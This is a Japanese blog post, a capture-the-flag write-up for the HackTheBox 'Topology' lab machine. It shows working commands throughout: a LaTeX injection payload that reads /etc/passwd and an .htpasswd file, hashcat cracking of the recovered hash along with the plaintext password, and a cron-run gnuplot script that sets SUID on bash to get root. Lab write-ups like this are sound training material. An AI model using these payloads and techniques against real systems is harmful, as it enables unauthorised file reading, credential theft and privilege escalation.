LoginSignup
2
1

HackTheBox Topology WriteUp

Last updated at Posted at 2023-11-07

今回はHackTheBox Easyマシン「Topology」のWriteUpです!
名前からはどのようなマシンなのかあまりわかりませんが、Easyマシンなのでサクッと攻略していきたいところです!

image.png
グラフはいつものEasyマシンという感じですね。
攻略めざして頑張ります!

HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Topology

攻略

それでは攻略を開始しましょう。
まずは、nmapから実行していきます。

$ sudo nmap -Pn -p- -v -sS --reason --min-rate=1000 -A 10.10.11.217

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
|   256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_  256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: Miskatonic University | Topology Group

いつものように、22番と80番を確認しました。
80番が開いていることを確認したので、ブラウザでアクセスしてみましょう。
スクリーンショット 2023-10-14 23.16.41.png
大学のホームページが表示されました。
特に遷移はないかと思いましたが、一つだけ、Staffの少し下あたりにhttp://latex.topology.htb/equation.phpへのリンクを発見しました。hostsファイルに追加し、アクセスしてみましょう。
image.png
ユーザの入力からPDFファイルを生成するページが表示されました。
ページ内の説明を見てみると、LaTeX codeに該当する文字列を入力した場合、それに対応する形で出力され、PDFファイルが生成されるようです。
試しに\alpha21と入力してみます。
image.png
かなり小さいですが\alphaαとして出力されていることが分かります。
これでLaTeXが正常に機能していることがわかったので、LaTeXを使用してなにかできないか試してみます。

LaTeX Injection

では、何を試すかですがLaTeXで有名な攻撃として、LaTeX Injectionがあります。HackTricksにも情報がまとめられています。

では、ファイルが読み込めるか試してみたいと思います。
下記の文字列を使用します。

\lstinputlisting{/etc/passwd}

上記の文字列でうまく発火した場合は、/etc/passwdを読み込みます。
それでは、PDFを生成してみましょう。
image.png
エラーが出てしまいました。HackTricksをもう一度確認してみると、ラッパーとして[$を使用する必要があるようです。今回は、$を使用しました。
最終的に入力した文字列は下記の通りです。

$\lstinputlisting{/etc/passwd}$

それでは、PDFを生成してみましょう。
image.png
上手く読み込むことが出来ました!
攻撃が成功したので、侵入に繋がる情報がないかを調査していきましょう。

話が少し飛ぶのですが、いくつかの列挙を同時に行っていると新たなサブドメインを発見しました。

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "HOST: FUZZ.topology.htb" -u http://10.10.11.217 -fs 6767

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/'    

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.217
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.topology.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 6767
________________________________________________

[Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 3907ms]
    * FUZZ: dev

[Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 1905ms]
    * FUZZ: stats

ここで気になるのは、devというサブドメインが401を返していることです。
サブドメインでWebが起動しているとき、ディレクトリの構成としては/var/www/<sub domain>となることが多いです。今回であれば/var/www/devとなります。
また、代表的な怪しいファイルとして.htpasswdがあります。パスワードが保存されている可能性があるので、/var/www/dev/.htpasswdをLaTeX Injectionで読み取ってみましょう。
image.png
ハッシュ化されたパスワードが出力されました!

vdaisley としてのシェル

まずはハッシュタイプを検索します。

$ hashcat --identify vdaisley.txt                              
The following hash-mode match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)                      | FTP, HTTP, SMTP, LDAP Server

MD5であることが分かりました。
タイプもわかったので、1600を指定し、hashcatで解読できるか試してみましょう。

$ hashcat -m 1600 vdaisley.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-12th Gen Intel(R) Core(TM) i7-1250U, 2910/5884 MB (1024 MB allocatable), 4MCU

$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0:calculus20          

解読できました!
それでは、SSH接続を試してみましょう。

$ ssh vdaisley@10.10.11.217
vdaisley@10.10.11.217s password: 
vdaisley@topology:~$ whoami
vdaisley

侵入成功です!

vdaisley@topology:~$ ls -l
total 4
-rw-r----- 1 root vdaisley 33 Oct 20 09:23 user.txt

ユーザフラグもゲットすることが出来ました!

権限昇格

それではこの調子で、権限昇格も目指していきましょう!
まずは、お決まりのsudo -lからです。

vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley: 
Sorry, user vdaisley may not run sudo on topology.

どうやら、sudoは実行できないようです。そう簡単には攻略させてもらえません。
sudoが実行できなかったのでlinpeaspspyを使用し列挙していると、pspyで興味深いプロセスを発見しました。

2023/10/20 09:56:01 CMD: UID=0     PID=2371   | /bin/sh /opt/gnuplot/getdata.sh 
2023/10/20 09:56:01 CMD: UID=0     PID=2370   | gnuplot /opt/gnuplot/loadplot.plt 
2023/10/20 09:56:01 CMD: UID=0     PID=2369   | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2023/10/20 09:56:01 CMD: UID=0     PID=2375   | /bin/sh /opt/gnuplot/getdata.sh 
2023/10/20 09:56:01 CMD: UID=0     PID=2377   | gnuplot /opt/gnuplot/networkplot.plt 

/opt/gnuplotにあるpltファイルをroot権限で実行していることが分かります。定期的に実行されているので、恐らくcronジョブで設定されていそうです。
/opt/gnuplotディレクトリに書き込む権限があれば、プロセスを悪用し権限昇格が行えそうです!権限を確認してみましょう。

vdaisley@topology:~$ ls -l /opt/
total 4
drwx-wx-wx 2 root root 4096 Oct 20 09:47 gnuplot

読み込み権限はないですが、書き込み権限があります!
どのように権限昇格を行うかですが、exploit notesにもまとめられています。

root としてのシェル

それでは、権限を昇格させましょう!まずは、pltファイルを作成します。
今回使用するファイルの内容は下記の通りです。

vdaisley@topology:/tmp$ cat priv.plt
system "chmod u+s /bin/bash"

systemの後に記述したコマンドが実行されます。今回は、bashにSUIDを付与するようにします。
作成出来たら、/opt/gnuplot内にファイルをコピーします。

vdaisley@topology:/tmp$ cp priv.plt /opt/gnuplot/priv.plt

後は、cronによってコマンドが実行されることを待つのみです!
少し待ってから、bashの権限を確認してみましょう。

vdaisley@topology:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

SUIDが付与されています!権限を昇格させましょう!

vdaisley@topology:~$ bash -p
bash-5.0# whoami
root

権限昇格成功です!

bash-5.0# ls -l /root
total 4
-rw-r----- 1 root root 33 Oct 20 09:23 root.txt

フラグも取得でき、完全攻略達成です~~!!

攻略を終えて

今回のマシンは、どれだけGoogleを活用できるかにかかっていました。LaTeXやgnuplotを既に知っていた人も多いかなとは思いますが、知らない人でも調べることでマシンを攻略できるので、初心者でも解きやすいのではないかと思います。しかし、.htpasswdで認証情報を取得するところはなかなか気付くのが難しいのではないかと思いました。一つの脆弱性を見つけても広く列挙していくことが大切ですね。
今後もHackTheBoxのWriteUpを公開していきます!
最後まで閲覧していただきありがとうございました!!!!

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1